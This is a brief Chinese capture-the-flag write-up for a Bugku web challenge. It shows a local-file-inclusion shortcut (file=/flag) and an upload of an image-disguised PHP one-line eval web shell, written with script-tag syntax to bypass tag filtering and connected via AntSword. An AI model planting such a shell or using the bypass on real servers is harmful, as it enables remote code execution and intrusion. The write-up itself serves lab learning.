bugku34 web

flag放在/var/www/html下了，直接file=/flag就可以了

或者正常操作一步步来

看到源码

上传一个图片马

发现头尾不见了，应该是有替换，因此将图片马改写后重新上传

<script language="php">
//phpinfo();
@eval($_REQUEST[‘attack‘]);
</script>

蚁剑连接

flag在根目录下